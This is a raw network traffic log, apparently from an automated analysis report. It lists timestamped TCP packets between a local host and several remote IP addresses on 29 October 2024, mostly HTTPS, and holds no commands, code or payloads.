Oct 29, 2024 17:59:31.886552095 CET	443	49860	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.886715889 CET	49860	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.886868000 CET	49860	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.886883020 CET	443	49860	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.970442057 CET	443	49856	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.989681005 CET	49856	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.989705086 CET	443	49856	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.990119934 CET	49856	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.990128040 CET	443	49856	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.113929033 CET	443	49856	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.114003897 CET	443	49856	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.114048004 CET	49856	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.486578941 CET	49856	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.486619949 CET	443	49856	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.486639023 CET	49856	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.486653090 CET	443	49856	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.679876089 CET	49865	443	192.168.2.6	94.245.104.56
Oct 29, 2024 17:59:32.679913044 CET	443	49865	94.245.104.56	192.168.2.6
Oct 29, 2024 17:59:32.680063009 CET	49865	443	192.168.2.6	94.245.104.56
Oct 29, 2024 17:59:32.689924002 CET	49865	443	192.168.2.6	94.245.104.56
Oct 29, 2024 17:59:32.689939976 CET	443	49865	94.245.104.56	192.168.2.6
Oct 29, 2024 17:59:32.745320082 CET	443	49860	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.747067928 CET	443	49857	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.750812054 CET	443	49858	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.788975954 CET	49860	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.788990974 CET	443	49860	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.789902925 CET	49860	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.789908886 CET	443	49860	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.791098118 CET	443	49859	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.791428089 CET	49859	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.791440964 CET	443	49859	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.791821957 CET	49859	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.791826963 CET	443	49859	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.792402983 CET	49857	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.792414904 CET	49858	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.792805910 CET	49857	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.792809010 CET	443	49857	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.793415070 CET	49857	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.793418884 CET	443	49857	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.795686960 CET	49858	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.795696974 CET	443	49858	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.796356916 CET	49858	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.796365023 CET	443	49858	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.817589045 CET	49868	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.817630053 CET	443	49868	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.817732096 CET	49868	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.874778032 CET	49868	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.874819994 CET	443	49868	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.915730953 CET	443	49860	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.916028976 CET	443	49860	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.916167974 CET	49860	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.922964096 CET	443	49857	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.923507929 CET	443	49857	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.923573017 CET	49857	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.923676014 CET	443	49859	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.923964024 CET	443	49859	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.924026966 CET	49859	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.933883905 CET	443	49858	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.934865952 CET	443	49858	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.934936047 CET	49858	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.934950113 CET	443	49858	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.935782909 CET	443	49858	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.935856104 CET	49858	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.945436954 CET	49860	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.945436954 CET	49860	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.945451021 CET	443	49860	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.945460081 CET	443	49860	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.946050882 CET	49858	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.946059942 CET	443	49858	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.946073055 CET	49858	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.946079016 CET	443	49858	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.951896906 CET	49857	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.951905966 CET	443	49857	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.951960087 CET	49857	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.951965094 CET	443	49857	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.982160091 CET	49859	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.982172966 CET	443	49859	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:32.982182026 CET	49859	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:32.982187033 CET	443	49859	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:33.101840973 CET	49707	443	192.168.2.6	20.190.159.0
Oct 29, 2024 17:59:33.101897001 CET	49707	443	192.168.2.6	20.190.159.0
Oct 29, 2024 17:59:33.107536077 CET	443	49707	20.190.159.0	192.168.2.6
Oct 29, 2024 17:59:33.107599974 CET	443	49707	20.190.159.0	192.168.2.6
Oct 29, 2024 17:59:33.107630014 CET	443	49707	20.190.159.0	192.168.2.6
Oct 29, 2024 17:59:33.107659101 CET	443	49707	20.190.159.0	192.168.2.6
Oct 29, 2024 17:59:33.108005047 CET	443	49707	20.190.159.0	192.168.2.6
Oct 29, 2024 17:59:33.110472918 CET	49869	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:33.110517979 CET	443	49869	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:33.110591888 CET	49869	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:33.113353968 CET	49870	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:33.113471031 CET	443	49870	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:33.113549948 CET	49870	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:33.125205994 CET	49871	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:33.125222921 CET	443	49871	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:33.126091957 CET	49871	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:33.127301931 CET	49872	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:33.127356052 CET	443	49872	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:33.127409935 CET	49872	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:33.145354986 CET	49872	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:33.145391941 CET	443	49872	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:33.145451069 CET	49869	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:33.145473003 CET	443	49869	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:33.146039963 CET	49870	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:33.146100044 CET	443	49870	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:33.154036045 CET	49871	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:33.154055119 CET	443	49871	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:33.490109921 CET	443	49707	20.190.159.0	192.168.2.6
Oct 29, 2024 17:59:33.490158081 CET	443	49707	20.190.159.0	192.168.2.6
Oct 29, 2024 17:59:33.490197897 CET	443	49707	20.190.159.0	192.168.2.6
Oct 29, 2024 17:59:33.490231991 CET	443	49707	20.190.159.0	192.168.2.6
Oct 29, 2024 17:59:33.490267992 CET	443	49707	20.190.159.0	192.168.2.6
Oct 29, 2024 17:59:33.490293026 CET	49707	443	192.168.2.6	20.190.159.0
Oct 29, 2024 17:59:33.490293026 CET	49707	443	192.168.2.6	20.190.159.0
Oct 29, 2024 17:59:33.490355015 CET	443	49707	20.190.159.0	192.168.2.6
Oct 29, 2024 17:59:33.490432978 CET	49707	443	192.168.2.6	20.190.159.0
Oct 29, 2024 17:59:33.490497112 CET	443	49707	20.190.159.0	192.168.2.6
Oct 29, 2024 17:59:33.490531921 CET	443	49707	20.190.159.0	192.168.2.6
Oct 29, 2024 17:59:33.490566015 CET	443	49707	20.190.159.0	192.168.2.6
Oct 29, 2024 17:59:33.490622997 CET	49707	443	192.168.2.6	20.190.159.0
Oct 29, 2024 17:59:33.490864038 CET	443	49707	20.190.159.0	192.168.2.6
Oct 29, 2024 17:59:33.490928888 CET	49707	443	192.168.2.6	20.190.159.0
Oct 29, 2024 17:59:33.490984917 CET	443	49707	20.190.159.0	192.168.2.6
Oct 29, 2024 17:59:33.539596081 CET	49707	443	192.168.2.6	20.190.159.0
Oct 29, 2024 17:59:33.619951963 CET	443	49868	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:33.666901112 CET	49868	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:33.751048088 CET	443	49865	94.245.104.56	192.168.2.6
Oct 29, 2024 17:59:33.807080984 CET	49865	443	192.168.2.6	94.245.104.56
Oct 29, 2024 17:59:33.870580912 CET	443	49870	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:33.908399105 CET	443	49869	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:33.913075924 CET	443	49871	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:33.919092894 CET	49870	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:33.979394913 CET	49865	443	192.168.2.6	94.245.104.56
Oct 29, 2024 17:59:33.979412079 CET	443	49865	94.245.104.56	192.168.2.6
Oct 29, 2024 17:59:33.980365992 CET	443	49865	94.245.104.56	192.168.2.6
Oct 29, 2024 17:59:33.980376005 CET	443	49865	94.245.104.56	192.168.2.6
Oct 29, 2024 17:59:33.980460882 CET	49865	443	192.168.2.6	94.245.104.56
Oct 29, 2024 17:59:33.992090940 CET	49869	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:33.992259026 CET	49871	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.005960941 CET	49871	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.005970001 CET	443	49871	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.006491899 CET	49871	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.006498098 CET	443	49871	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.006798983 CET	49868	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.006840944 CET	443	49868	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.007230043 CET	49868	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.007244110 CET	443	49868	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.007668018 CET	49870	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.007682085 CET	443	49870	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.008053064 CET	49870	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.008064985 CET	443	49870	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.008333921 CET	49869	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.008337975 CET	443	49869	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.008750916 CET	49869	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.008755922 CET	443	49869	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.015661955 CET	49865	443	192.168.2.6	94.245.104.56
Oct 29, 2024 17:59:34.015727043 CET	443	49865	94.245.104.56	192.168.2.6
Oct 29, 2024 17:59:34.015892982 CET	49865	443	192.168.2.6	94.245.104.56
Oct 29, 2024 17:59:34.015903950 CET	443	49865	94.245.104.56	192.168.2.6
Oct 29, 2024 17:59:34.107094049 CET	49865	443	192.168.2.6	94.245.104.56
Oct 29, 2024 17:59:34.133606911 CET	443	49870	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.133681059 CET	443	49870	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.133760929 CET	49870	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.134502888 CET	443	49869	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.134578943 CET	443	49869	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.134715080 CET	443	49869	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.134785891 CET	49869	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.158890009 CET	443	49868	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.159033060 CET	443	49868	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.159100056 CET	49868	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.172302008 CET	443	49871	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.173305988 CET	443	49871	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.173356056 CET	443	49871	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.173362017 CET	49871	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.173396111 CET	49871	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.179349899 CET	49871	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.179359913 CET	49870	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.179367065 CET	443	49871	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.179378033 CET	49871	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.179378033 CET	443	49870	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.179384947 CET	443	49871	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.185301065 CET	49869	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.185306072 CET	443	49869	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.185348034 CET	49869	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.185350895 CET	443	49869	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.194355011 CET	49876	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.194370985 CET	443	49876	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.194453001 CET	49876	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.194911957 CET	49877	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.194967985 CET	443	49877	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.195029020 CET	49877	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.195169926 CET	49868	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.195169926 CET	49868	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.195190907 CET	443	49868	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.195211887 CET	443	49868	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.207875967 CET	49877	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.207921982 CET	443	49877	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.218375921 CET	49878	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.218405962 CET	443	49878	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.218547106 CET	49878	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.219214916 CET	49876	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.219229937 CET	443	49876	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.221556902 CET	49879	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.221596003 CET	443	49879	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.221749067 CET	49879	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.224208117 CET	49879	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.224235058 CET	443	49879	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.225681067 CET	49878	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.225696087 CET	443	49878	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.251596928 CET	443	49865	94.245.104.56	192.168.2.6
Oct 29, 2024 17:59:34.258125067 CET	49865	443	192.168.2.6	94.245.104.56
Oct 29, 2024 17:59:34.258161068 CET	443	49865	94.245.104.56	192.168.2.6
Oct 29, 2024 17:59:34.258232117 CET	49865	443	192.168.2.6	94.245.104.56
Oct 29, 2024 17:59:34.713743925 CET	443	49872	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.716531992 CET	49872	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.716562033 CET	443	49872	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.716985941 CET	49872	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.716991901 CET	443	49872	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.844109058 CET	443	49872	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.844185114 CET	443	49872	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.844250917 CET	49872	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.850908995 CET	49872	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.850929022 CET	443	49872	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.850941896 CET	49872	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.850948095 CET	443	49872	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.902364016 CET	49882	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.902411938 CET	443	49882	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.902472973 CET	49882	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.953895092 CET	49882	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:34.953906059 CET	443	49882	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.989168882 CET	443	49878	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:34.990087032 CET	443	49877	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.021148920 CET	443	49876	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.044713020 CET	49878	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.044744968 CET	443	49878	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.045164108 CET	49878	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.045169115 CET	443	49878	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.045711040 CET	49877	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.045805931 CET	443	49877	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.046152115 CET	49877	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.046168089 CET	443	49877	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.046957016 CET	49876	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.046972036 CET	443	49876	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.047730923 CET	49876	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.047736883 CET	443	49876	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.051739931 CET	443	49879	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.052227974 CET	49879	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.052262068 CET	443	49879	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.052697897 CET	49879	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.052709103 CET	443	49879	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.168772936 CET	80	49837	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:35.168849945 CET	49837	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:35.172996998 CET	443	49876	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.173100948 CET	443	49876	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.173140049 CET	49876	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.173155069 CET	443	49876	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.173165083 CET	443	49876	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.173224926 CET	49876	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.175707102 CET	443	49877	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.175776958 CET	443	49877	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.175841093 CET	49877	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.180242062 CET	443	49878	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.180440903 CET	443	49878	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.180485010 CET	443	49878	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.180490971 CET	49878	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.180529118 CET	49878	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.188121080 CET	443	49879	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.188265085 CET	443	49879	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.188329935 CET	49879	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.257771969 CET	49876	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.257771969 CET	49876	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.257796049 CET	443	49876	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.257805109 CET	443	49876	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.260742903 CET	49879	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.260742903 CET	49879	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.260809898 CET	443	49879	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.260840893 CET	443	49879	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.261534929 CET	49877	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.261555910 CET	443	49877	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.261600018 CET	49877	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.261616945 CET	443	49877	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.262653112 CET	49878	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.262660027 CET	443	49878	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.262671947 CET	49878	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.262677908 CET	443	49878	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.268383980 CET	49883	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.268423080 CET	443	49883	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.268490076 CET	49883	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.455663919 CET	49883	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.455682993 CET	443	49883	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.591250896 CET	49887	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.591285944 CET	443	49887	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.591347933 CET	49887	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.720680952 CET	49887	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.720698118 CET	443	49887	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.726648092 CET	443	49882	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.740230083 CET	49882	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.740255117 CET	443	49882	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.741597891 CET	49882	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.741604090 CET	443	49882	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.768632889 CET	49888	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.768692970 CET	443	49888	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.768755913 CET	49888	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.798671007 CET	49888	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.798705101 CET	443	49888	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.809473038 CET	49889	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.809508085 CET	443	49889	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.809561968 CET	49889	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.809731007 CET	49889	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.809741020 CET	443	49889	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.829130888 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:35.829154968 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:35.829217911 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:35.831646919 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:35.831657887 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:35.847794056 CET	49898	443	192.168.2.6	18.244.18.27
Oct 29, 2024 17:59:35.847804070 CET	443	49898	18.244.18.27	192.168.2.6
Oct 29, 2024 17:59:35.847856045 CET	49898	443	192.168.2.6	18.244.18.27
Oct 29, 2024 17:59:35.848381042 CET	49898	443	192.168.2.6	18.244.18.27
Oct 29, 2024 17:59:35.848392963 CET	443	49898	18.244.18.27	192.168.2.6
Oct 29, 2024 17:59:35.878330946 CET	443	49882	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.878367901 CET	443	49882	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.878407001 CET	443	49882	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.878426075 CET	49882	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.878460884 CET	49882	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.878623962 CET	49882	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.878640890 CET	443	49882	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.878654957 CET	49882	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.878659964 CET	443	49882	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.881468058 CET	49900	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.881498098 CET	443	49900	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:35.881551027 CET	49900	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.882026911 CET	49900	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:35.882044077 CET	443	49900	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.224719048 CET	443	49883	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.298012972 CET	49883	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.298038960 CET	443	49883	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.298460007 CET	49883	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.298469067 CET	443	49883	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.442687988 CET	443	49883	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.442750931 CET	443	49883	13.107.246.45	192.168.2.6
